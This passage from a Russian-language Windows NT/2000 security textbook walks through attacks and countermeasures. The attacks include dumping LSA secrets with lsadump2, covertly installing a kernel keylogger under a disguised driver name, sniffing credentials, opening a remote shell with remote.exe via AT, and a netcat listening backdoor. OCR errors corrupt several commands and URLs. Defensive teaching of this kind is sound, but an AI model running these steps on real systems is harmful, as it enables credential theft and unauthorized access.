            Ограничение доступа к файлу SAM — это также один из важнейших методов зашиты. Физическое ограничение доступа к серверу является единственным методом воспрепятствовать злоумышленнику скопировать файл SAM, загрузившись с дискеты, или скопировать резервную копию этого файла из папки Repair. Надеемся, что о том, чтобы контролировать все случаи регистрации на сервере под именем Administrator, напоминать не нужно.

            Шифрование SYSKEY



            Расширенное SYSKEY-шифрование данных SAM было разработано вскоре после выхода сервисного пакета Service Pack 2. Такой алгоритм позволяет установить шифрование паролей с помощью 128-битового ключа (по умолчанию используется 40-битовый ключ). Для включения режима шифрования необходимо выбрать команду Starts Run и ввести в поле ввода появившегося диалогового окна Run команду syskey. Режим шифрования SYSKEY можно настроить с использованием нескольких основных параметров, как показано на следующих двух рисунках.


            При включении режима SYSKEY ключ шифрования паролей, в свою очередь, кодируется с помощью системного ключа, который может храниться как локально (защищенный паролем), так и на гибком диске. Если вы чрезвычайно обеспокоены обеспечением безопасности, выберите второй вариант, но учтите при этом, что в большой сети это потребует дополнительных затрат на сохранение всех ключей на гибких дисках. Кроме того, как мы увидим несколько позже, существуют средства, позволяющие обойти и режим шифрования SYSKEY. Однако даже небольшой барьер, оказавшийся на пути взломщика, повышает безопасность сети. По крайней мере злоумышленнику придется хорошо потрудиться, чтобы взломать пароли.

            Группа исследователей RAZOR обнаружила изъян в реализации алгоритма шифрования SYSKEY, описание которого можно найти по адресу http://razor.-bindvi6w.com/publish/advisories/adv_WinNT_syskey.htinl. Если вы решили воспользоваться этим алгоритмом, то установите также модуль обновления, который можно получить по адресу http://wvw.microsoft.com/teohnet/ security/bulletin/ms99-056.asp.

            Если взломщики имеют безнадзорный физический доступ к компьютеру с системой NT/2000, то они без проблем могут загрузиться с использованием другой операционной системы и аннулировать пароль учетной записи администратора, удалив файл SAM, либо добавить пароль для любой имеющейся учетной записи. Этот прием позволяет полностью обойти алгоритм шифрования SYSKEY. Лишь при использовании режима защиты с использованием пароля или при хранении системного ключа на гибком диске можно несколько повысить уровень защиты. Более подробная информация по этому вопросу содержится в разделе главы 6, который посвящен утилите chntpw.

            Аудит доступа к базе данных SAM



            Зачастую бывает довольно трудно выявить факт извлечения информации о паролях с вашего узла NT. Одной из возможностей, призванных помочь в решении этой проблемы, является аудит системы NT, обеспечивающий наблюдение за доступом к параметрам реестра, связанных с SAM. Однако на практике это средство мало что может сделать, поскольку к этим параметрам имеют доступ очень многие служебные процессы (например, диспетчер пользователей). Но несмотря на то, что само по себе решение не очень хорошее, некоторые технические аспекты настройки контроля доступа к SAM заслуживают внимания.
            Прежде всего, убедитесь, что в диспетчере пользователей установлен флажок Success для событий File and Object Access (Policies^Audit). Затем нужно включить режим контроля доступа к определенным параметрам системного реестра. К сожалению, параметры, которые необходимо контролировать, недоступны ни простому пользователю, ни даже администратору. Для обхода данного ограничения нужно открыть окно редактора системного реестра, воспользовавшись контекстом учетной записи Local System.
            Запустите агигст Services панели управления, а затем в появившемся диалоговом окне выберите службу Schedule (на рабочей станции — Task Scheduler). Щелкните на кнопке Startup и в открывшемся окне свойств установите режим System Account, а также Флажок Allow Service to Interact with Desktop. Затем введите в командной строке следующую ком;нпу soon regedt32 /I
            Утилита soon, входящая в состав NTRK, предназначена для взаимодействия с командой AT и запуска той или иной программы в текущий момент. Параметр , : npri писывает запускаемой программе (в данном случае редактору системного peecn.w), выполняться в интерактивном режиме.
            Сразу же после выполнения команды будет открыто окно редактора системного реестра. Однако на этот раз параметры SAM и Security станут доступными обычному пользователю. Будьте очень осторожны при работе с этими параметрами — даже минимальные изменения могут нарушить нормальное функционирование операционной системы вашего компьютера.' Найдите параметр HKLM/Security/SAM/Domains/Account/Users и щелкните на нем, а затем выберите из меню команду Security ^Auditing. Установите параметр Audit Permissions on Existing Subkeys, а затем щелкните на кнопке Add и добавьте учетную запись SYSTEM. Наконец, для события Query Value установите режим Success, a затем щелкните на кнопке ОК. Выйдите из редактора системного реестра и убедитесь в том, что служба Schedule отключена. Теперь можно контролировать доступ к параметрам реестра, осуществляемый, например, с помощью утилиты pwdump.
            Вскоре журнал безопасности будет заполнен сообщениями с идентификаторами 560 и 562, которые связаны с обращением к параметрам SAM. При аудите сложнее всего выбрать среди многочисленных записей те. которые связаны с получением информации о диспетчере SAM с помощью различных утилит семейства pwdump, поскольку с точки зрения системы между такими событиями и событиями, связанными с легитимным доступом к параметрам SAM, нет никакой разницы. Кроме того, журнал, в который будут заносится все соответствующие операции, очень быстро достигнет чудовищных размеров, а регистрация событий повлечет за собой дополнительный расход ресурсов. Более эффективный метод решения данной проблемы, по-видимому, состоит в отслеживании вызовов утилиты pwdump на уровне интерфейса API. Однако пока данная задача не реализована на практике, контроль доступа к параметрам SAM остается хоть и низкоэффективным, но все же единственным средством.


            12.gif

            Изображение: 

            13.gif

            Изображение: 

            14.gif

            Изображение: 

            15.gif

            Изображение: 

            16.gif

            Изображение: 

            17.gif

            Изображение: 

            8. Использование доверительных отношений



            Использование доверительных отношений


            Для того чтобы "получить в свое распоряжение" домен, недостаточно обладать правами администратора на одном из компьютеров сети. Фактически в больших сетях многие серверы NT являются независимыми серверами приложений (т.е. компьютерами, которые используются конечными пользователями, но работающие под управлением операционной системы Windows NT Server, а не NT Workstation), а не контроллерами доменов, на которых хранятся копии базы данных SAM домена. Однако в распоряжении взломщика имеется несколько способов получения информации от автономного сервера, на основании которой можно получить доступ ко всему домену.

            Дублирование данных учетных записей администраторов домена и локальной системы



            Самым простым методом проникновения является использование довольно распространенной порочной практики администрирования, заключающейся в хранении данных о пользователях домена на отдельных компьютерах, работающих под управлением NT Server или Workstation. В идеальной ситуации никто не должен обладать правом регистрации на рабочей станции NT как Local Administrator с тем же паролем, что и Domain Admin. To же самое относится и к созданию локальной учетной записи с теми же пользовательским именем и паролем, которые используются в учетной записи на уровне домена. Однако в реальности такая практика является, скорее, правилом, а не исключением. Подобный один-единственный изъян в системе защиты может привести к созданию "лазеек" для проникновения в домен NT, с чем нам не раз приходилось сталкиваться при тестировании различных сетей.
            Например, допустим, что разозлившийся на руководство служащий обнаружил в домене тестовый сервер, позволяющий зарегистрироваться на нем в качестве локального администратора с пустым паролем. Сам по себе этот факт еще ничего не означает, поскольку пользователь не сможет получить доступ к домену, потому что привилегии локальной учетной записи не распространяются на домен. Однако если администратор этого тестового сервера создал на нем учетную запись, которая дублирует его учетную запись на уровне домена (как правило, это делается для того, чтобы упростить доступ к ресурсам домена, необходимым для тестирования), взломщик без каких-либо проблем получит дамп SAM из реестра, как было показано в предыдущем разделе, и взломает пароль администратора домена. После этого он без труда зарегистрируется на контроллере домена с привилегиями системного администратора — и все это, лишь воспользовавшись данными учетной записи Domain Admin.
            К сожалению, такие ситуации встречаются гораздо чаще, чем хотелось бы. Чтобы исправить положение, необходимо проверить, не имеют ли место в вашей сети следующие факты.

            •  Пароли локальных учетных записей Administrator совпадают с паролями членов группы Domain Admins.
            •  Пароли и пользовательские имена локальных учетных записей совпадают с паролями и пользовательскими именами учетных записей домена (особенное внимание необходимо уделить учетным записям, которые входят в группу Domain Admins).
            •  В полях комментария указана информация, которая может послужить подсказкой для получения данных о пароле домена, например: "Пароль такой же, как и у администратора на SERVER1".

            Контрмеры против дублирования данных учетных записей



            Самой лучшей защитой от таких "подводных камней" является использование сложных паролей для всех учетных записей группы администраторов домена и их последующее регулярное изменение (не реже, чем один раз в месяц). Кроме того, пользовательские учетные записи не должны использоваться для выполнения административных функций. Если в этом есть необходимость, создайте для таких пользователей специальные учетные записи и установите режим их аудита. Например, вместо того чтобы вносить учетную запись jsmith в группу Domain Admins, создайте учетную запись jsmitha с соответствующим уровнем привилегий. (Обратите внимание, что не стоит создавать учетные записи вида isadmin, поскольку они сразу же привлекут внимание взломщика.)
            Еще одним хорошим практическим методом является использование NT-варианта утилиты UNIX su (из набора NTRK) для запуска команд с привилегиями другого пользователя.

            Встроенная команда runae Windows 2000 предоставляет более простой способ запуска приложений с необходимыми привилегиями. Например, следующая команда runas запускает сеанс командной оболочки, работающий в контексте учетной записи Administrator домена DOMAIN2.

            runas /user:domain2\administrator cmd.exe

            Атака на секреты LSA



            Эта атака может послужить одним из самых ярких примеров той опасности, к которой может привести хранение регистрационных данных в незашифрованном виде. Такая информация вместе с некоторыми другими важными данными хранится системой NT во многих местах. Процесс получения конфиденциальной информации носит название атаки на секреты подсистемы защиты LSA (Local Security Authority). Эту информация определяется параметром системного реестра HKEY_LOCAL_MACHINE\-SECURITY\Policy\Secrets. К секретам LSA относятся следующие данные.

            •  Пароли учетных записей служб (хранятся в виде незашифрованного текста). Специальные учетные записи требуются приложениям, которым необходимо зарегистрироваться в контексте локального пользователя для выполнения определенных задач, например резервного копирования. Такие учетные записи обычно имеются во внешних доменах и при взломе какого-либо компьютера могут использоваться взломщиком для прямой регистрации во внешнем домене.
            •  Кэшированные хэш-коды паролей последних десяти регистрировавшихся пользователей.
            •  Пароли FTP и Web (также в виде незашифрованного текста).
            •  Имена и пароли учетных записей служб RAS. 
            •  Пароли рабочих станций для доступа к домену.

            Очевидно, что такие сведения, как пароли учетных записей служб, запушенных с привилегиями пользователей домена, информация о последних регистрировавшихся пользователях, пароли доступа рабочих станций к домену и так далее могут оказать взломщику существенную помощь в исследовании структуры домена.
            Например, представим автономный сервер, на котором запущены службы SMS (Systems Management Server) или SQL, работающие в контексте пользователя домена. Если локальный администратор такого сервера использует пустой пароль, то с помощью данных LSA взломщик может получить сведения об учетной записи пользователя домена. Этот изъян может привести к утечке информации на уровне многорангового домена (multimaster domain). Если на сервере ресурсов домена запущена служба, работающая в контексте учетной записи пользователя главного домена, то утечка информации на уровне сервера ресурсов может обеспечить злоумышленнику доступ к главному домену.
            Можно привести и более опасный пример, который довольно типичен для корпоративных пользователей портативных компьютеров. Допустим, сотрудник компании захватил с собой в поездку такой компьютер, чтобы с помощью службы удаленного доступа подключаться к корпоративной сети или к провайдеру Internet. Поскольку он не новичок в вопросах безопасности, он не устанавливает флажок, включающий режим сохранения паролей учетных записей удаленного доступа. Но, к сожалению, система NT все равно глубоко в недрах системного реестра сохраняет пользовательское имя, номер телефона и пароль.
            Исходный код, позволяющий получить секреты LSA, в 1997 году был опубликован в бюллетене NTBugtraq (http://www.ntbugtraq.com) Полом Эштоном (Paul Ashton). Однако сгенерированный исполняемый код не получил широкого распространения. Обновленную версию этого кода, называемую Isadump2, можно найти по адресу http://razor.bindview.com/tools/desc/lsadump2_readme.html. Утилита Isadump2 использует тот же прием, что и утилита pwdump2. Это позволяет обойти средства защиты компании Microsoft (см. ниже), которые ранее не позволяли успешно применять предыдущую версию этого средства, Isadump. Утилита Isadump2 выполняет автоматический поиск идентификатора PID процесса LSASS, внедряет себя в его поток управления и извлекает секреты LSA, как показано в следующем примере.

            D:\Toolbox>lsadump2 $MACHINE.ACC
            6E 00 76 00 76 00 68 00 68 00 5A 00 30 00 41 00
            n.v.v.h.h.Z.0.A.
            66 00 68 00 50 00 6C 00 41 00 73 00 f.h.P.l.A.s.
            _SC_MSSQLServer
            32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00
            .p.a.s.s.w.о.г.d.
            _SC_SQLServerAgent
            32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00
            p.a.s.s.w.о.г.d.

            Как видно из приведенного фрагмента, в полученных данных содержится пароль учетной записи домена, а также два пароля, связанных с учетными записями службы SQL, которые извлечены из данных LSA.
            В программе Internet Scanner 5.6 от компании Internet Security Systems (ISS) встроена возможность инвентаризации секретов LSA, которая входит как составная часть в технологию SmartScan. Если этот сканер сможет получить доступ к узлу NT на уровне администратора, он попытается инвентаризовать все возможные пароли, которые когда-либо использовались на данном узле. Все найденные пары "имя учетной записи/пароль" сохраняются в файле KnownUsers. В тех случаях, когда сканер обнаруживает (через нулевое соединение) в сети другой узел, на котором имеется учетная запись с таким же именем, он пытается подключиться к нему, указав только что найденный пароль. Не нужно обладать большим воображением, чтобы понять, насколько быстро можно собрать важнейшую информацию о всех или почти всех учетных записях большой сети.

            Контрмеры: защита секретовLSA



            К сожалению, компания Microsoft не сказала ничего оригинального, заявляя, что к подобной информации администратор имеет доступ в соответствии с принятой архитектурой. В статье базы знаний KB Q184017 описывается модуль обновления, предназначенный для исправления изъянов исходной версии подсистемы LSA. После его установки с помощью шифрования SYSKEY кодируются хранящиеся на компьютере пароли учетных записей служб, кэшируемые данные для регистрации в домене, а также пароли рабочей станции.
            Изъян, заключающийся в открытом хранении кэшируемых данных RAS, был исправлен в сервисном пакете SP6a (изначально после появления сервисного пакета SP5 компанией Microsoft был выпущен модуль обновления). Более подробная информация приведена в статье KB Q230681.

            Параметры реестра, предназначенные для автоматической регистрации



            Систему NT можно настроить таким образом, чтобы при загрузке выполнялась автоматическая регистрация в системе. Для этого используется параметр системного реестра HKLM\SOFWTARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon. Автоматическая регистрация может оказаться полезной в тех редких случаях, когда неже-
            лательно, чтобы пользователь знал регистрационное имя и пароль. Однако необходимо знать, что в этом режиме в реестре (группа параметров HKLM\SOFWTARE\Microsoft\ Windows NT\CurrentVersion\Winlogon\) сохраняются в незашифрованном виде такие сведения, как используемые по умолчанию имя домена (DefaultDomainName), пользовательское имя (DefaultUserName) и пароль (DefaultPassword).
            Остерегайтесь также применения процедур автоматической установки программного обеспечения, которым после перезагрузки требуется автоматическая регистрация с привилегиями администратора.

            Контрмеры против автоматической регистрации



            Для того чтобы запретить автоматическую регистрацию, удалите значение параметра DefaultPassword. Кроме того, нужно удалить значение параметра AutoAdmin Logon или установить его равным 0.

            Регистраторы нажатия клавиш



            Если все остальные попытки взломщика, имеющего статус администратора локальной системы, получить аналогичные привилегии в домене не увенчались успехом, он может попытаться пойти самым простым путем: установить регистратор нажатия клавиш (keystroke logger). Так называются программы, которые скрытно от пользователя перехватывают все нажатия клавиш и, прежде чем передать их операционной системе, записывают в скрытый файл на диске. Рано или поздно какой-нибудь пользователь, зарегистрировавшись в системе, оставит соответствующий "отпечаток" своего имени и пароля в файле программы-регистратора.
            Существует множество различных регистраторов для Windows NT, однако, пожалуй, одним из лучших является Invisible Key Logger Stealth (IKS) for NT, который можно найти на узле http: //www.amecisco.com/iksnt.htm по цене $149.
            IKS for NT — это, по сути дела, драйвер клавиатуры, который работает внутри ядра NT. Именно этим и объясняется то, что его присутствие практически никак не отображается в системе. IKS перехватывает даже нажатие комбинации клавиш <Ctrl+Alt+Del>, что позволяет очень легко идентифицировать каждый факт регистрации в системе.
            Однако еще важнее то, что очень просто осуществить удаленную установку IKS. Для этого достаточно скопировать один файл, отредактировать некоторые параметры реестра, а затем перезагрузиться. Злоумышленник, скорее всего, переименует драйвер iks.sys, присвоив ему какое-то имя, не вызывающее подозрений, например scsi.sys (у кого поднимется рука, чтобы удалить такой драйвер?), а затем скопирует его в каталог %systemroot%\system32\drivers. После этого остается лишь внести изменения в системный реестр в соответствии с содержимым файла iks.reg, входящего в комплект поставки, или просто запустить на удаленном компьютере файл .reg. Можно воспользоваться также программой regini.exe, входящей в состав NTRK, которая может внести изменения в реестр удаленного узла. В файле readme.txt, который входит в комплект поставки IKS, объясняется, как скрыть драйвер и файл журнала с перехваченными нажатиями клавиш, изменив содержимое файла .reg. После внесения изменений в реестр необходимо перезагрузить систему, чтобы драйвер IKS приступил к работе. Для выполнения этой задачи проще всего воспользоваться инструментом Remote Shutdown из NTRK (shutdown. exe), как показано в следующем примере (подробное описание параметров командной строки содержится в документации по NTRK). shutdown \\<±р_адрес> /R /T:l /Y /С
            Если все пройдет гладко и никто не обратит внимания на странное поведение компьютера-жертвы, то все нажатия клавиш будут сохраняться в файле, указанном в последней строке файла iks . reg. Выждав какое-то время, взломщик снова зарегистрируется в качестве администратора, перепишет полученный файл (по умолчанию он называется iks.dat, но, скорее всего, он будет переименован), а затем просматривает его с помощью утилиты datview, входящей в комплект поставки IKS. Ниже приведено диалоговое окно настройки параметров datview.


            За несколько недель работы утилита IKS, как правило, перехватывает хотя бы одну пару "имя пользователя/пароль" уровня домена, которые обычно находятся после записи, сгенерированной при нажатии <Ctrl+Alt+Del>.

            Контрмеры: защита от программ-регистраторов



            Обнаружить программы-регистраторы не так-то просто. Это объясняется тем, что они внедряются в систему на низком уровне. Что касается IKS, мы рекомендуем поискать в системном реестре параметр LogName, который должен находиться где-то в группе параметров HKLM\SYSTEM\CurrentControlSet\Services. Значением этого параметра является путь к журналу регистрации нажимаемых клавиш. Параметр, в котором находится данное значение, можно безболезненно удалить (естественно, соблюдая обычные предосторожности, связанные с редактированием системного реестра). Для обнаружения же самого драйвера IKS требуется обладать в какой-то степени навыками сыщика, чтобы распознать его среди прочих файлов . sys, хранящихся в каталоге %systemroot%\system32\drivers. Самым простым методом является проверка свойств каждого файла. Во вкладке Version диалогового окна свойств IKS будет указано IKS NT4 Device Driver, а в качестве внутреннего имени — iksnt. sys.
            Получив доступ к домену, взломщик захочет воспользоваться своим статусом администратора сервера в качестве плацдарма для дальнейшего "захвата территорий". В следующем разделе описываются некоторые методики достижения этой цели и соответствующие им контрмеры.


            18.gif

            Изображение: 

            9. Анализаторы сетевых пакетов



            Анализаторы сетевых пакетов


            Перехват пакетов, передаваемых в локальной сети, является одним из наиболее эффективных способов дальнейшего проникновения в сеть после того, как взломщик получил доступ к одному узлу. В настоящее время имеется множество средств перехвата пакетов, в том числе один из самых знаменитых коммерческих наборов анализа протоколов Sniffer Pro от компании Network Associate (http://www.nai.com). Этот комплект средств появился сразу же за выпуском прекрасной свободно распространяемой программы CaptureNet 3.12, являющейся частью набора SpeNet/PeepNet от Лаврентия Никулы (Laurentiu Nicula), который можно найти по адресу http://packetstorm.securify.com. Достаточно много можно сказать и о приложении Network Monitor, входящем в комплект поставки системы NT/2000. Эта утилита позволяет отслеживать трафик лишь локального узла. Однако при установке сервера SMS (Systems Management Server) можно воспользоваться полной версией Network Monitor.
            В то же время очевидно, что графический интерфейс этих программ препятствует их применению в тех случаях, когда основным требованием является скрытность выполняемых действий и можно лишь удаленно воспользоваться командной строкой. В следующих разделах будут рассмотрены некоторые программы-анализаторы сетевых пакетов, которые без проблем можно установить удаленно и использовать из командной строки, а также несколько средств на базе интерфейса Win32.

            BUTTSniffer



            Среди взломщиков системы NT наиболее популярным средством является динамически загружаемая программа BUTTSniffer от Дилдога (DilDog), основного автора Back Orifice 2000. Программа BUTTSniffer состоит из двух основных компонентов, BUTTSniff.exe (139,264 байт) и BUTTSniff.dll (143,360 байт), каждый из которых можно переименовать. Для установки этих файлов достаточно просто загрузить их на целевой узел. Никаких дополнительных действий по установке не требуется. Запуск программы осуществляется из командной строки, в которой можно указать различные параметры. Параметр -1 позволяет получить список интерфейсов, доступных для перехвата пакетов. Взломщики наверняка воспользуются возможностью копирования всех захваченных данных в файл на жестком диске (для этого нужно не использовать параметры фильтрации), как показано в следующем примере.

            D:\Toolbox\buttsniffer>buttsniff-1
            WinNT: Version 4.0 Build 1381
            Service Pack: Service Pack 6
            # Interface Description
            -----------------------
            0 Remote Access Mac
            [\Device\NDIS3Pkt_AsyncMac4] (no promise.)
            1 3Com Megahertz FEM556B [\Device\NDIS3Pkt_FEM5567]
            D:\Toolbox\buttsniffer>
            buttsniff -d 1 D:\test\sniffl.txt p
            WinNT: Version 4.0 Build 1381
            Service Pack: Service Pack 6
            Press Ctrl-C to stop logging...
            Close requested
            D:\Toolbox\buttsniffer>
            cat D:\test\sniffl.txt
            Source IP: 192.168.7.36 Target IP: 192.168.7.200
            TCP Length: 13 Source Port: 3530
            Target Port: 21 Seq: 001A145E
            Ack: 6D968BEC
            Flags: PA Window: 8711
            TCP ChkSum: 6575 UrgPtr: 0
            00000000: 55 53 45 52 20
            67 65 6F 72 67 65 OD OA USER
            ernie..
            Source IP: 192.168.7.36
            Target IP: 192.168.7.200
            TCP Length: 17 Source Port: 3530
            Target Port: 21 Seq: 001A146B
            Ack: 6D968COF
            Flags: PA Window: 8676
            TCP ChkSum: 41325
            UrgPtr: 0 00000000: 50 41 53 53 20 47 65
            6F 72 67 65 30 30 31 3F OD
            PASS bert.
            00000010: OA

            Утилита BUTTSniffer отличается нестабильностью. При ее использовании в течение продолжительного времени она может привести к краху системы NT (появлению синего экрана смерти).

            fsniff



            Утилита fsniff написана компанией Foundstone, Inc., в которой авторы книги являются ведущими сотрудниками.

            Утилитой fsniff используется динамически загружаемый драйвер захвата пакетов (fsniff .sys), что значительно облегчает ее использование. Эта утилита выполняет автоматическую фильтрацию данных аутентификации, содержащихся в пакетах, как показано в следующем примере сеанса FTP. 

            С:\tmp>fsniff
            fsniff vl.О - copyright2000 foundstone, inc.
            driver activated
            192.168.200.15 [4439] -> 172.16.23.45 [21] }
            USER test PASS ralph
            172.16.23.45 [21] -> 192.168.200.15 [4439] }
            220 ftp.victim.net FTP server (Version wu-2.5.0(l)
            Tue Sep 21 16:48:12
            EOT 199
            9) ready.
            331 Password required for test.
            530 Login incorrect.
            packets received 27 - sniffed 10

            Анализаторы пакетов Win32 * на базе интерфейса WinPcap



            Многие популярные программы-анализаторы UNIX, предназначенные для захвата пакетов на уровне пользователей, созданы на базе интерфейса libpcap, не зависящего от используемой платформы. Свободно распространяемая версия Win32 этого интерфейса, WinPcap, была разработана группой исследователей из политехнического университета Торино (Politecnico di Torino) (http://netgroup-serv.polito.it/winpcap). Этот интерфейс предоставляет основу для создания некоторых интересных средств перехвата сетевых пакетов. Однако их неудобно устанавливать на удаленном узле и использовать из командной строки. Кроме того, в отличие от динамически загружаемых утилит BUTTSniffer и f sniff, для активизации таких средств зачастую требуется перезагрузка. В последующих разделах для полноты излагаемого материала, а также для облегчения дальнейших исследований в этой области, будут рассмотрены некоторые из средств, созданных на базе интерфейса WinPcap.

            WinDump



            Эта утилита, являющаяся аналогом утилиты tcpdump системы UNIX, написана авторами WinPcap. Как видно из приведенного ниже примера, эта утилита является простым средством перехвата пакетов, предоставляющим данные в необработанном виде. 

            D:\>windump
            windump: listening on\Device\Packet_E159xl
            01:06:05.818515 WKSTN.1044 >
            CORP-DC.139: P 287217:287285(68) ack
            3906909778 wi
            n 7536 (DF) [tos 0x86]
            01:06:05.818913 CORP-DC.139 >
            WKSTN.1044: P 1:69(68) ack 68 win 16556
            (DF)
            01:06:05.825661 arp who-has
            192.168.234.1 tell WKSTN
            01:06:05.826221 arp reply
            192.168.234.1 is-at 8:0:3d:14:47:d4

            dsniff для Win32



            Утилита dsniff является одним из самых лучших средств перехвата пакетов системы UNIX, предназначенных исключительно для получения паролей. Она была написана Дагом Сонгом (Dug Song) (http://naughty.monkey.org/~dugsong/dsniff/). Утилита dsniff автоматически выявляет и подробно анализирует каждый протокол, сохраняя лишь часть уникальных данных, используемых при аутентификации.
            Ранняя версия утилиты dsniff для Win32, появившаяся в мае 2000 года, была написана Майком (Mike) из компании eEye Digital Security. В ней отсутствуют многие возможности таких утилит, как arpredirect, что делает ее версию для системы Linux более робаст-ной (см. главу 8 и 10). Тем не менее, утилита dsniff может оказаться полезной для получения данных аутентификации. В следующем примере утилита dsniff была использована для перехвата пакетов, передаваемых в процессе аутентификации по протоколу POP.

            D:\dsniff>dsniff
            07/31/00 17:16:34 С574308-А ->
            mail.victim.net (pop)
            USER johnboy
            PASS goodnight

            Контрмеры: защита от перехвата пакетов



            Если приведенные выше советы показались вам недостаточными, дополнительно можно порекомендовать следующее. При передаче информации по сети используйте механизмы шифрования, такие как сервер SSH (Secure Shell), протокол SSL (Secure Sockets Layer), шифрование почтовых сообщений POP (Pretty Good Privacy) или шифрование на уровне IP, которое обеспечивается при реализации виртуальных частных сетей на-базе протокола IPSec (см. главу 9). Это надежные средства защиты от атак, направленных на перехват пакетов. Использование сетей с коммутируемой архитектурой и виртуальных локальных сетей (Virtual Local Area Network) может значительно снизить риск взлома, однако в случае применения таких средств, как утилиты dsnif f и arpredirect из UNIX (см. главу 10), нельзя предоставить никаких гарантий.

            При печати второго издания этой книги был выпущен совместимый с системой NT/2000 сервер SSH, который можно найти по адресу http://marvin.criadvantage.com/caspian/Software/SSHD-NT/default.php. Многие годы он служил основой безопасного удаленного управления системами на базе UNIX, и очень интересно познакомиться с новой версией, которая позволяет из командной строки удаленно управлять системами NT/2000. Ее можно рассматривать как альтернативу терминального сервера. Более подробную информацию о сервере SSH можно найти по адресу http://www.employees.org/-satch/ssh/faq/ssh-faq.html.


            10. Удаленное управление и потайные ходы

             

            Удаленное управление и потайные ходы

            Мы не раз отмечали, что в системе NT недостаточно хорошо обстоят дела с удаленным выполнением команд, однако до этого момента картина освещалась несколько однобоко. Дело в том, что после получения статуса администратора у взломщика появляется целый ряд возможностей выполнения таких операций.

             Утилита remote.exe (NTRK)

             

            В состав NTRK входят две утилиты, обеспечивающие удаленное выполнение команд: Remote Command Line (remote.exe) и Remote Command Service (rcmd.exe и rcmdsvc.exe, клиент и сервер соответственно). Эти утилиты включены лишь в серверный вариант NTRK.
            Из них большую угрозу представляет утилита remote.exe, поскольку ее легче установить и она более проста в использовании. Сложность применения rcmdsvc. exe в основном объясняется тем, что ее нужно установить и запустить на удаленном компьютере как службу, тогда как remote.exe не нуждается в дополнительных средствах и может работать как в режиме сервера, так и в режиме клиента. Нужный режим легко задать с помощью параметра командной строки (remote.exe /С— для клиента, remote.вхв /S —- для сервера). Однако с утилитой remote.exe возникает другая проблема из разряда "Что было раньше — курица или яйцо?" Дело в том, что для ее запуска на удаленном компьютере в качестве сервера сначала необходимо, чтобы на этом компьютере было разрешено удаленное выполнение команд. Эта проблема решается только при наличии доступа в качестве администратора, с использованием службы Schedule системы NT, также известной как команда AT (которая доступна только администраторам).
            Для начала нужно скопировать файл remote. exe в каталог удаленной системы, в котором разрешено выполнение программ. Проще всего это сделать, подключившись к совместно используемому системному ресурсу с$ в качестве администратора и скопировать указанный файл в каталог %systemroot%\system32. При этом утилита, с одной стороны, будет находиться в каталоге, в котором Windows по умолчанию производит поиск выполняемых файлов, а с другой — ее будет трудно случайно обнаружить среди множества разных системных файлов.
            Затем необходимо запустить скопированную утилиту remote. exe с помощью команды AT. Однако, прежде чем это сделать, нужно провести подготовительную работу. Во-первых, на удаленной системе должна быть запушена служба Schedule. С этой задачей может справиться еще одна прекрасная утилита Service Controller (sc.exe) из набора NTRK. После этого с помощью команды net time необходимо сверить часы локальной системы с часами удаленной, как показано ниже. 

            С:\> ас \\192.168.202.44 start schedule
            SERVICE_NAME: schedule
            TYPE 10 WIN32_OWN_PROCESS
            STATE 2 START_PENDING
            (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
            WIN32_EXIT_CODE 0 (0x0)
            SERVICE_EXIT_CODE 0 (0x0)
            CHECKPOINT 0x0
            WAIT_HINT OxVdO
            C:\> net time \\192.168.202.44
            Current time at \\192.168.202.44 is 5/29/99 10:38 PM
            The command completed successfully.

            Для запуска команд в течение нескольких секунд можно использовать утилиту soon из набора NTRK.

            Теперь можно воспользоваться командой AT и запустить экземпляр remote. exe в серверном варианте, запланировав запуск через две минуты от текущего времени взламываемого компьютера (для использования в команде пробелов ее необходимо заключить в двойные кавычки). С помощью второй команды, как показано ниже, можно убедиться, что задание было запланировано корректно (для исправления ошибок воспользуйтесь первой командой AT с параметром [номер задания] /delete).

            С:\> at \\192.168.202.44 10:40Р ""remote /s cmd
            secret""
            Added a new job with job ID = 2
            C:\> at \\192.168.202.44
            Status ID Day Time Command Line
            2 Today 10:40 PM remote /s cmd secret

            Когда наступает момент выполнения запланированной команды, соответствующий номер задания исчезает из листинга, выводимого командой AT. Если команда была введена корректно, это означает, что сервер remote заработал. Теперь взломщик имеет доступ к командной строке удаленной системы с помощью клиентского режима команды remote. Во избежание путаницы мы используем в примере для локальной системы приглашение D:>, а для удаленной — С:>. В данном примере используется команда DIR для просмотра каталога удаленной системы, а затем с помощью команды @Q завершается работа клиента, а сервер продолжает работать (команда @к завершает работу сервера).

            D:\> remote /с 192.168.202.44 secret
            *****************************
            *********** remote **********
            *********** CLIENT **********
            *****************************
            Connected..
            Microsoft(R) Windows NT(TM)
            (C) Copyright 1985-1998 Microsoft Corp.
            C:\> dir winnt\repair\sam._
            dir winnt\repair\sam._ Volume in drive С has no label.
            Volume Serial Number is D837-926F
            Directory of C:\winnt\repair
            05/29/99 04:43p 10,406 sam.
            _1 File(s) 10,406 bytes
            1,243,873,280 bytes free
            C:\> @q
            *** SESSION OVER ***
            D:\>

            Да, пожалуй, вряд ли ребята из Microsoft могли придумать что-то еше более простое для хакера средней руки! Теперь мы можем запускать файлы на удаленной системе, хотя только из командной строки. Еше одним ограничением утилиты remote.exe является то, что программы, использующие консольный программный интерфейс Win32, также работать не будут. Однако в любом случае это лучше, чем вообще отсутствие возможности удаленного запуска. Как мы вскоре увидим, с ее помощью на удаленной системе можно установить более мощные средства управления.
            Наконец, необходимо отметить еще одно важное свойство утилиты remote.exe, которое заключается в поддержке именованных каналов. Она будет работать на любых двух узлах, поддерживающих один и тот же протокол — IPX, TCP/IP либо NetBEUI.

            Удаленный доступ к командной оболочке с помощью netcat

             

            Еще одним простым способом организации "потайного хода" является применение "армейского швейцарского ножа TCP/IP"— утилиты netcat (http://www.ldpht. com/netcat). Утилиту netcat можно настроить на прослушивание определенного порта с последующим запуском исполняемой программы, если удаленная система подключается к данному порту. Настроив утилиту netcat на запуск интерпретатора командной строки NT, можно сделать так, чтобы этот интерпретатор запустился на удаленной системе. Синтаксис для запуска команды netcat в режиме скрытого прослушивания приведен в следующем примере. Параметр -L позволяет восстанавливать разорванное соединение; -d активизирует режим скрытого прослушивания (т.е. без обмена информацией с консолью); -е позволяет задать запускаемую программу (в данном случае — интерпретатор командой строки NT cmd. exe); а -р указывает порт, который будет прослушиваться. С:\TEMP\NC1lNT>nc -L -d -e and.exe -p 8080
